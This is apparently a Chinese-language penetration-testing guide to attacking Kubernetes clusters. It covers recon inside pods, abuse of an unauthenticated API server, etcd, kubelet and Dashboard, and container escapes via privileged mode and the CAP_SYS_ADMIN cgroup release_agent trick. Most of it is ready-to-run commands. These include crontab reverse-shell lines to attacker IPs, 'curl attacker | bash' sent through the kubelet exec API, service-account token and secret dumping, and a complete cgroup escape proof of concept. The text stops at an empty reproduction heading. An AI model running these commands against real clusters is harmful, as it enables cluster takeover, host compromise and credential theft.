0x01 基础知识
容器概念
Container(容器)是一种便携式、轻量级的操作系统级虚拟化技术,它使用namespace隔离不同的软件运行环境,并通过镜像自包含软件的运行环境,从而使得容器可以很方便的在任何地方运行,由于容器体积小且启动快,因此可以在每个容器镜像中打包一个应用程序,这种一对一的应用镜像关系拥有很多好处,使用容器不需要与外部的基础架构环境绑定,因为每一个应用程序都不需要外部依赖,更不需要与外部的基础架构环境依赖,完美解决了从开发到生产环境的一致性问题
Pod概念
Kubernetes使用Pod来管理容器,每个Pod可以包含一个或多个紧密关联的容器,Pod是一组紧密关联的容器集合,它们共享PID、IPC、Network 和UTS Namespace,是Kubernetes调度的基本单位,Pod内的多个容器共享网络和文件系统,可以通过进程间通信和文件共享这种简单高效的方式组合完成服务
在Kubernetes中对象使用ManiFest(YAML或JSON)来定义,一个简单的Nginx服务可以定义为nginx.yaml,它包含一个镜像为nginx的容器,示例如下:
apiVersion: v1
kind: Pod
metadata:
name: nginx
labels:
app: nginx
spec:
containers:
-name: nginx
image: nginx
ports:
-containerPort: 80
Node概念
Node是Pod真正运行的主机,可以是物理机,也可以是虚拟机,为了管理Pod每个Node节点上至少要运行Container Runtime(比如docker或者rkt)、 Kubelet和Kube-proxy服务
Namespace
Namespace是对一组资源和对象的抽象集合,比如可以用来将系统内部的对象划分为不同的项目组或用户组,常见的pods, services, replication controllers和deployments等都是属于某一个namespace的(默认是default),而node, persistentVolumes等则不属于任何namespace
Service概念
Service是应用服务的抽象,通过labels为应用提供负载均衡和服务发现,匹配labels的Pod IP和端口列表组成endpoints,由kube-proxy负责将服务IP负载均衡到这些endpoints上,通常每一个Service都会自动分配一个Cluster IP(仅在集群内部可访问的虚拟地址)和DNS名,其他容器可以通过该地址或DNS来访问服务,而不需要了解后端容器的运行:
apiVersion: v1
kind: Service
metadata:
name: nginx
spec:
ports:
- port: 8078 # the port that this service should serve on
name: http
# the container on each pod to connect to, can be a name
# (e.g. 'www') or a number (e.g. 80)
targetPort: 80
protocol: TCP
selector:
app: nginx
0x02 架构概览
架构源起
Borg是谷歌内部的大规模集群管理系统,负责对谷歌内部很多核心服务的调度和管理,Borg的目的是让用户能够不必操心资源管理的问题,让他们专注于自己的核心业务,并且做到跨多个数据中心的资源利用率最大化 Borg主要由BorgMaster、Borglet、Borgcfg和Scheduler组成,架构示意图如下:
- Borglet:负责真正运行任务(在容器中)
- Borgcfg:Borg的命令行工具,用于跟Borg系统交互,一般通过一个配置文件来提交任务
- Scheduer:负责任务的调度,根据应用的特点将其调度到具体的机器上去
- BorgMaster:是整个集群的大脑,负责维护整个集群的状态,并将数据持久化到 Paxos 存储中
架构模型
K8s借鉴了Borg的设计理念,比如:Pod、Service、Label、单Pod、单IP等,Kubernetes的整体架构跟Borg非常像,如下图所示:
K8s主要由以下几个核心组件组成:
- etcd:保存了整个集群的状态
- apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API 注册和发现等机制
- controller manager:负责维护集群的状态,比如:故障检测、自动扩展、滚动更新等
- scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上
- kubelet:负责维护容器的生命周期,同时也负责Volume(CSI)和网络(CNI)的管理
- Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI)
- kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡
0x03 核心组件
Kubernetes主要由以下几个核心组件组成,这也是我们对K8s进行安全评估的主要测试维度:
- etcd:保存了整个集群的状态
- apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制
- controller manager:负责维护集群的状态,比如故障检测、自动扩展、滚动更新等
- scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上
- kubelet:负责维护容器的生命周期,同时也负责Volume(CVI)和网络(CNI)的管理
- Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI)
- kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡
下面是关键组件的一些常用默认端口:
0x04 渗透路径
0x05 信息收集
我们评估是如果获取到应用的webshell权限时是很有必要判断一下当前的环境的,最狠的一次是之前打HW的时候有厂商搭建了一套完整的域环境的蜜罐系统,看着你打…..,所以这个阶段要做的还是信息收集
环境信息
env
env | grep KUBERNETES
容器检测
注意下面的.dockerenv哦:
ls -al
内核版本
需要下载kubectl到pod中,之后通过执行以下命令来获取node节点的内核版本信息
kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.nodeInfo.kernelVersion}{"\n"}{end}'
Token类
K8s集群创建的Pod中容器内部默认携带K8s Service Account认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),利用该凭据可以认证K8s API-Server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,可以直接利用Service Account管理K8s集群
cat /var/run/secrets/kuberenetes.io/serviceaccount/token
Secret类
K8s Secrets用于存储敏感数据,从Secrets中获取的AK及通信凭证可用户后续渗透中从外部或云产品API窃取信息:
#命令格式
./cdk run k8s-secret-dump (auto|<service-account-token-path>)
#使用实例
./cdk run k8s-secret-dump auto
安全策略
对于已经获取了kubeconfig或sa账号权限,进而想要创建特殊配置的容器,但是受到了K8s Pod Security Policies的限制时可以使用这个Exploit获取Pod Security Policies的规则信息
#命令格式
./cdk run k8s-psp-dump (auto|<service-account-token-path>
#使用实例
./cdk run k8s-psp-dump auto
2021/03/24 22:15:58 getting K8s api-server API addr.
Find K8s api-server in ENV: https://ip:8443
2021/03/24 22:15:58 trying to dump K8s Pod Security Policies with local service-account: token
2021/03/24 22:15:58 requesting /apis/policy/v1beta1/podsecuritypolicies
2021/03/24 22:15:58 dump Pod Security Policies success, saved in: k8s_pod_security_policies.json
2021/03/24 22:15:58 requesting /api/v1/namespaces/default/pods
2021/03/24 22:15:58 K8S Pod Security Policies rule list:
2021/03/24 22:15:58 rule { securityContext.hostPID: true } is not allowed.
2021/03/24 22:15:58 rule { securityContext.hostIPC: true } is not allowed.
2021/03/24 22:15:58 rule { volumes[0].hostPath.pathPrefix: \"/proc\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[1].hostPath.pathPrefix: \"/dev\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[2].hostPath.pathPrefix: \"/sys\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[3].hostPath.pathPrefix: \"/\" } is not allowed.
2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_ADMIN\" } is not allowed.
2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_PTRACE\" } is not allowed.
端口服务
内部网络
- Flannel默认使用10.244.0.0/16网络
- Calico默认使用192.168.0.0/16网络
0x06 常规利用
k8s集群攻击面和路径
不同的容器技术涉及的经典攻击面
这一部分注意介绍一些常见的因为K8s自身的漏洞或者安全配置不当导致的可被利用的漏洞点:
未授权类
K8s API Server未授权
基本介绍 k8s的Master节点上会暴露kube-apiserver,默认情况下会开启以下两个HTTP端口: A:Localhost Port
- HTTP服务
- 主机访问受保护
- 在HTTP中没有认证和授权检查
- 默认端口8080,修改标识–insecure-port
- 默认IP是本地主机,修改标识—insecure-bind-address
B:Secure Port
- 使用基于策略的授权方式
- 认证方式,令牌文件或者客户端证书
- 默认端口6443,修改标识—secure-port
- 默认IP是首个非本地主机的网络接口,修改标识—bind-address
- HTTPS服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file
以上两个端口主要存在以下两类安全风险:
- 开发者使用8080端口并将其暴露在公网上,攻击者就可以通过该端口的API直接对集群下发指令
- 运维人员将”system:anonymous”用户绑定到”cluster-admin”用户组,使匿名用户可以通过6443端口以管理员权限向集群内部下发指令
漏洞检测 在浏览器中访问以下URL:
#格式说明
http://ip:port/
#使用实例
http://192.168.17.144:8080/
返回以上信息说明存在K8s API Server未授权访问漏洞~
漏洞利用
利用方式按严重程度可分为以下两种攻击类型:
- 通过利用kubectl客户端调用Secure Port接口去控制已经创建好的容器
- 通过创建一个自定义的容器将系统根目录的文件挂在到/mnt目录,之后通过修改/mnt/etc/crontab来影响宿主机的crontab,通过反弹Shell拿到宿主机的权限
容器管理
Step 1:获取目标机器的信息
#格式说明
kubectl -s ip:port get nodes
#执行实例
kubectl -s 192.168.17.144:8080 get nodes
备注说明:如果出现”Error from server (NotFound): the server could not find the requested resource”报错,可能是因为Kubectl客户端和K8s的Server端版本不相同导致的需要进行降级操作,此时需要将版本降低到和目标主机版本一致即可
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.8.7/bin/linux/amd64/kubectl
chmod 777 kubectl
mv /usr/bin/kubectl /usr/bin/kubectl.bak
mv kubectl /usr/bin/kubectl
Step 2:获取命名空间
kubectl -s 192.168.17.144:8080 get namespace
kubectl -s 192.168.17.144:8080 get pod -n default
Step 4:执行以下命令接管pod,可以看到下方返回的提示是”pod nginx does not have a host assigned”,这是由于pod未指定host所致
#格式说明
kubectl -s ip:port --namespace=default exec -it dockername bash
#执行实例
kubectl -s 192.168.17.144:8080 -n default exec -it nginx /bin/sh
apiVersion: v1
kind: Pod
metadata:
name: nginx
spec:
containers:
- image: nginx:alpine
name: container-0
resources:
limits:
cpu: 100m
memory: 200Mi
requests:
cpu: 100m
memory: 200Mi
imagePullSecrets:
- name: default-secret
如果幸运的化我们可以找到恰当的Pod并通过信息收集以及逃逸获取宿主机的权限,之后控制节点以及整个集群~ 反弹shell A、Web Dashboard Step 1:查看当前Namespace确定命名空间有哪些
kubectl -s 192.168.17.144:8080 get namespaces
Step 2:查看”kubernetes-dashboard”命名空间下pod与service的详细状态
kubectl -s 192.168.17.144:8080 get pods,svc -n kubernetes-dashboard -o wide
Step 3:查看Serviceaccount和Secrets
kubectl -s 192.168.17.144:8080 get sa,secrets -n kubernetes-dashboard
Step 4:查看token,在这里我们要根据上一步的输出进行多项service-account-token的查看,因为部分会应权限而导致操作有限
kubectl -s 192.168.17.144:8080 describe secrets admin-myuser-token-jcj9d -n kubernetes-dashboard
Step 6:创建一个pod,并将本地根目录挂载到pod的/mnt目录中
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
Step 7:之后可以看到创建的myapp Pod
Step 8:之后进入挂载的/mnt目录中,就是master节点的对应目录了
Step 9:之后写计划任务
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.17.158/4444 0>&1\n" >> /mnt/etc/crontab
Step 10:成功反弹shell
B、Kubectl Client
Step 1:新建myapp2.yaml文件
apiVersion: v1
kind: Pod
metadata:
name: myapp2
spec:
containers:
- image: nginx
name: container0
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
Step 2:创建容器
kubectl -s 192.168.17.144:8080 create -f myapp2.yaml
kubectl -s 192.168.17.144:8080 get pod -n default
Step 4:进入容器(由于上面迟迟处于pending状态,也许时内存问题,这里不再过多赘述,直接向下写流程)
kubectl -s 192.168.17.144:8080 --namespace=default exec -it myapp2 bash
Step 5:写计划任务
echo -e "* * * * * root bash -i >& /dev/tcp/x.x.x.x/8888 0>&1\n" >> /mnt/etc/crontab
Step 6:成功获取shell
接口扩展 补充一些可用接口:
ETCD端口未授权访问
漏洞概述 ETCD最大的安全风险是未授权访问,在启动etcd时如果没有指定–client-cert-auth参数打开证书校验,并且没有通过iptables/防火墙等实施访问控制,ETCD的接口和数据就会直接暴露给外部黑客
漏洞检测 ETCD一般监听2379端口且对外暴露Client API,可以指定是否启用TLS,因此这个端口可能是HTTP服务,也可能是HTTPS服务,扫描器可以通过检查以下2个接口来判断是否存在未授权访问漏洞: 第一个接口:https://IP:2379/version
第二个接口: https://IP:2379/v2/keys
攻击测试 ETCD V2和V3是两套不兼容的API,K8s使用V3,通过环境变量设置API V3:
export ETCDCTL_API=3
检查是否正常连接
etcdctl endpoint health
127.0.0.1:2379 is healthy: successfully committed proposal: took = 939.097µs
查看K8s secrets
etcdctl get / --prefix --keys-only | grep /secrets/
获取集群中保存的云产品AK,横向移动:
etcdctl get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c
读取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
通过token认证访问API-Server,接管集群:
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
证书使用 查看链接状态
sudo ./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 endpoint health
etcdctl --write-out=table --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 endpoint status
./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 get / --prefix --keys-only
查看K8s Secret
./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379/ get / --prefix --keys-only | grep /secrets/
./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379/ get /registry/secrets/kubernetes-dashboard/admin-myuser-token-jcj9d
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
Kubelet端口未授权类
基本介绍 K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机 利用过程 Step 1:获得token 首先需要确定node是否存在未授权问题,如果访问以下地址并返回如下数据表示可以利用
https://ip:10250/pods
Step 2:基础信息确定
从上述结果中确定namespace、pod_name、container_name,关于查找方法可以通过检索selfLink,此时会发现再返回的数据中会有一个类似”/api/v1/namespaces/kube-system/pods/kube-flannel-ds-xwk2t”的值,其中namespaces就是后面的kube-system,pods就是后面的kube-flannel-ds-xwk2t,如果执行失败可以看看phase的状态是不是fail,如果是的话就换一个phase是running的试试
Step 3:执行命令
可以通过一下命令再在对应的容器里执行命令:
#格式说明
curl -k -XPOST "https://k8s-node-1:10250/run/%namespace%/%pod_name%/%container_name%" -d "cmd=ls -la /"
#执行实例
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=ls -la /"
Step 4:检索Token信息
默认情况下Token保存在/var/run/secrets/kubernetes.io/serviceaccount/token
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
如果token不在/var/run/secrets/kubernetes.io/serviceaccount/token,那么可以通过mount命令来查找
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=mount"
Step 5:获得master访问权
接下来可以尝试获得master(api server)的访问权限,默认情况下api server开放的端口为6443,所以可以通过扫描同个网段开放6443的主机来挨个尝试,除了这种方法还可以尝试执行env命令来查看是否有api server的地址或者其他敏感信息:
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=env"
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=netstat -ntlp"
如果提示Error from server (Forbidden): secrets is forbidden: User “” cannot list resource “secrets” in API则说明权限不够
kubectl --insecure-skip-tls-verify=true --server="https://192.168.17.144:6443" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJmbGFubmVsLXRva2VuLWhwbGJ0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImZsYW5uZWwiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwMmJmZmUzZi0wNGE5LTQ2MTItYjRjYy1mYjNkNTdiNjZiZDkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Zmxhbm5lbCJ9.oGnRE55P1Dv9W4-Gs8UCp5M1_vdL2flZ0WYJtr8HTMgb2Si6wb-N_ltS1HRi_Q9VHsS_CsjHw3ZqA-jQvbz-RENNLDEL20nUt9J51IyqeGPC3sKAd3fVOZmViIVrYsQSewvPHwPq7qvFnIj1aR-pFYrB47iohej2XvS4aTNZMdpxhL0jCBa3o5SFZg1oNR1rzJd1hhSaCNAbQ7_JMdTuCy4aU0zykVd0GoUF9gXRD7Avx9Y25QGCBTdPgL11fzjcGiG93KtfE4QASiLemnxDF1TPeob9MERFbT6mq-CQ7243U6HjF6Lx-1NfLk52qaXp3hbpGySNudUz_i_Q-KWIgw" get secrets --all-namespaces -o jsonv
Step 6:获取node里pod的shell
攻击者可以本地搭建web服务,通过在node中的pod里执行反弹语句来获得node的shell,假定这里的192.168.17.161:80是攻击者web服务,之后写入以下反弹shell指令,之后启动一个简易的HTTP服务:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/bash&command=-c&command=curl+192.168.17.161:80+|+bash&input=1&output=1&tty=1"
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/sh&command=-c&command=curl+192.168.17.161+|+bash&input=1&output=1&tty=1"
发现也为成功,可能是笔者这里的环境问题所致,下面给出一个成功的截图:
[root@localhost ~]# curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1"
* About to connect() to 192.168.4.68 port 10250 (#0)
* Trying 192.168.4.68...
* Connected to 192.168.4.68 (192.168.4.68) port 10250 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
* subject: CN=192.168.4.68@1544518989
* start date: 12月 11 09:03:09 2018 GMT
* expire date: 12月 11 09:03:09 2019 GMT
* common name: 192.168.4.68@1544518989
* issuer: CN=192.168.4.68@1544518989
> POST /exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1 HTTP/1.1
> User-Agent: curl/7.29.0
> Host: 192.168.4.68:10250
> Accept: */*
> X-Stream-Protocol-Version: v2.channel.k8s.io
> X-Stream-Protocol-Version: channel.k8s.io
>
< HTTP/1.1 302 Found
< Location: /cri/exec/zEKYcaZt #查看执行结果
< Date: Wed, 07 Aug 2019 06:01:42 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 192.168.4.68 left intact
[root@localhost ~]#
执行如下语句查看命令执行结果
[root@localhost ~]# docker run -it --rm joshgubler/wscat -c "https://192.168.4.68:10250/cri/exec/zEKYcaZt" --no-check
Step 7:连接K8s Master地址
此时我们是在Node的Pod里,在反弹的Shell里查看Master的内部IP
尝试连接K8s Master地址
[root@localhost ~]# TOKEN_VALUE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[root@localhost ~]# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H "Authorization: Bearer $TOKEN_VALUE" https://10.0.0.1:443/api/v1/pods
kube-proxy配置错误
基本介绍 Kubectl Proxy代理程序既能作为API Server的反向代理,也能作为普通客户端访问API Server的代理,当开发人员使用Kubectl proxy将API Server外置时攻击者可以通过使用和K8s API Server未授权一样的漏洞实施攻击操作 漏洞利用 Step 1:通过执行以下命令启动我们自定义的
kubectl proxy --port=8080 --address=192.168.17.144 --api-prefix=/ --disable-filter=true
Step 2:之后再浏览器中访问
Step 3:之后和K8s API Server未授权利用一致,例如:获取节点信息
#格式说明
kubectl -s ip:port get nodes
#执行实例
kubectl -s 192.168.17.144:8080 get nodes
控制面版
Dashboard未授权访问
漏洞描述 K8s Dashboard默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录直接进入Dashboard,而且有时候可以直接访问K8s DashBoard,在这种情况下攻击者可以通过部署恶意Pod实现控制节点的目的
漏洞复现
K8s DashBoard未授权访问:
宿主Shell
Step 1:通过WEB UI界面创建一个pod,并将本地根目录挂载到pod的/mnt目录中
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
Step 3:之后进入挂载的/mnt目录中,就是master节点的对应目录了
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.17.157/4444 0>&1\n" >> /mnt/etc/crontab
额外扩展 获取K8s Service Account认证凭据
cat /var/run/secrets/kuberenetes.io/serviceaccount/token
Dashboard Config登录
利用场景
- 项目托管不当导致kubernetconfig文件泄露,例如:Github、Gitlab等,之后接管Kubernet dashboard
- 在获取到Node节点权限的情况下通过kubeconfig来接管Kubernet dashboard
基础知识 用户凭证保存在kubeconfig文件中,kubectl通过以下顺序来找到kubeconfig文件
- 如果提供了–kubeconfig参数,就使用提供的kubeconfig文件
- 如果未提供–kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
- 如果以上两种情况都没有,那么kubectl就使用默认的kubeconfig文件$HOME/.kube/config
利用流程 Step 1:获取namespace
kubectl get namespace
kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard
kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin
Step 4:获取tocken(后续可以使用token登录)
kubectl get sa,secrets -n kubernetes-dashboard
kubectl describe secret -n kubernetes-dashboard dashboard-admin-token-kqsll
DASH_TOCKEN=$(kubectl get secret -n kubernetes-dashboard dashboard-admin-token-kqsll -o jsonpath={.data.token}|base64 -d)
kubectl config set-cluster kubernetes --server=192.168.17.144:30001 --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-credentials dashboard-admin --token=$DASH_TOCKEN --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-context dashboard-admin@kubernetes --cluster=kubernetes --user=dashboard-admin --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config use-context dashboard-admin@kubernetes --kubeconfig=/home/r00t/dashbord-admin.conf
chmod 777 dashboard-admin.conf
Step 7:使用生成的dashbord-admin.conf登录dashboard
0x07 逃逸相关
配置不当
Privileged特权模式逃逸
前置知识
Security Context(安全上下文),用于定义Pod或Container的权限和访问控制,Kubernetes提供了三种配置Security Context的方法:
- Pod Security Policy:应用于集群级别
- Pod-level Security Context:应用于Pod级别
- Container-level Security Context:应用于容器级别
容器级别:仅应用到指定的容器上,并且不会影响Volume
apiVersion: v1
kind: Pod
metadata:
name: hello-world
spec:
containers:
- name: hello-world-container
image: ubuntu:latest
securityContext:
privileged: true
Pod级别:应用到Pod内所有容器,会影响Volume
apiVersion: v1
kind: Pod
metadata:
name: hello-world
spec:
containers:
securityContext:
fsGroup: 1234
supplementalGroups: [5678]
seLinuxOptions:
level: "s0:c123,c456"
PSP,集群级别:PSP是集群级的Pod安全策略,自动为集群内的Pod和Volume设置Security Context
漏洞介绍
当容器启动加上–privileged选项时,容器可以访问宿主机上所有设备,而K8s配置文件如果启用了”privileged: true”也可以实现挂载操作
逃逸演示
Step 1:使用docker拉取ubuntu镜像到本地
sudo docker pull ubuntu
apiVersion: v1
kind: Pod
metadata:
name: myapp-test
spec:
containers:
- image: ubuntu:latest
name: ubuntu
securityContext:
privileged: true
kubectl create -f myapp-test.yaml
#进入pod
kubectl exec -it myapp-test /bin/bash
#查看磁盘
fdisk -l
cat /proc/self/status | grep CapEff
./cdk run mount-disk
在容器内部进入挂载目录,直接管理宿主机磁盘文件(多少有一些问题)
CAP_SYS_ADMIN配置逃逸
漏洞概述
Docker通过Linux Namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯,但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限:
- –pid=host 启动时,绕过PID Namespace
- –ipc=host 启动时,绕过IPC Namespace
- –net=host 启动时,绕过Network Namespace
- –cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用
利用前提
- 在容器内root用户
- 容器必须使用SYS_ADMIN Linux capability运行
- 容器必须缺少AppArmor配置文件,否则将允许mount syscall
- cgroup v1虚拟文件系统必须以读写方式安装在容器内部
前置知识
cgroup
默认情况下容器在启动时会在/sys/fs/cgroup目录各个subsystem目录的docker子目录里生成以容器ID为名字的子目录,我们通过执行以下命令查看宿主机里的memory cgroup目录,可以看到docker目录里多了一个目录9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a,这一串字符是容器ID,这个目录里的内容就是用户在容器里查看/sys/fs/cgroup/memory的内容
mount
mount命令是一个系统调用(syscall)命令,系统调用号为165,执行syscall需要用户具备CAP_SYS_ADMIN的Capability,如果在宿主机启动时添加了–cap-add SYS_ADMIN参数,那root用户就能在容器内部就能执行mount挂载cgroup,docker默认情况下不会开启SYS_ADMIN Capability
漏洞利用
漏洞利用的第一步是在容器里创建一个临时目录/tmp/cgrp并使用mount命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp上
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
参数解释:
- -t参数:表示mount的类别为cgroup
- -o参数:表示挂载的选项,对于cgroup,挂载选项就是cgroup的subsystem,每个subsystem代表一种资源类型,比如:cpu、memory 执行该命令之后,宿主机的memory cgroup被挂载到了容器中,对应目录/tmp/cgrp
需要注意的是在对cgroup进行重新挂载的操作时只有当被挂载目标的hierarchy为空时才能成功,因此如果这里memory的重新挂载不成功的话可以换其他的subsystem,接着就是在这个cgroup类型里建一个子目录x
mkdir /tmp/cgrp/x
漏洞利用的第二步和notify_no_release有关,cgroup的每一个subsystem都有参数notify_on_release,这个参数值是Boolean型,1或0,分别可以启动和禁用释放代理的指令,如果notify_on_release启用当cgroup不再包含任何任务时(即cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的文本内容,不过需要注意的是release_agent文件并不在/tmp/cgrp/x目录里,而是在memory cgroup的根目录/tmp/cgrp里,这样的设计可以用来自动移除根cgroup里所有空的cgroup,我们可以通过执行以下命令将/tmp/cgrp/x的notify_no_release属性设置为1
echo 1 > /tmp/cgrp/x/notify_no_release
接着通过将release_agent指定为容器在宿主机上的cmd文件,具体操作是先获取docker容器在宿主机上的存储路径:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
文件/etc/mtab存储了容器中实际挂载的文件系统
这里使用sed命令匹配perdir=(和)之间的非逗号内容,从上图可以看出,host_path就是docker的overlay存储驱动上的可写目录upperdir
在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件:
echo "$host_path/cmd" > /tmp/cgrp/release_agent
接下来POC将要执行的shell写到cmd文件里,并赋予执行权限
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd
最后POC触发宿主机执行cmd文件中的shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的$$表示sh进程的PID,在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行
CAP_DAC_READ_SEARCH
影响范围
Docker 1.0
场景描述
在早期的docker中容器内是默认拥有CAP_DAC_READ_SEARCH的权限的,拥有该Capability权限之后,容器内进程可以使用open_by_handle_at函数对宿主机文件系统暴力扫描,以获取宿主机的目标文件内容,Docker1.0之前对容器能力(Capability)使用黑名单策略管理,并未限制CAP_DAC_READ_SEARCH能力,故而赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生
环境构建
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
./metarget cnv install cap_dac_read_search-container
备注:此场景较为简单可以直接使用Docker手动搭建,默认存在漏洞的Docker版本过于久远,但是复现漏洞可以使用任意版本的Docker,只需要在启动Docker时通过–cap-add选项来添加CAP_DAC_READ_SEARCH capability的权限即可
漏洞复现
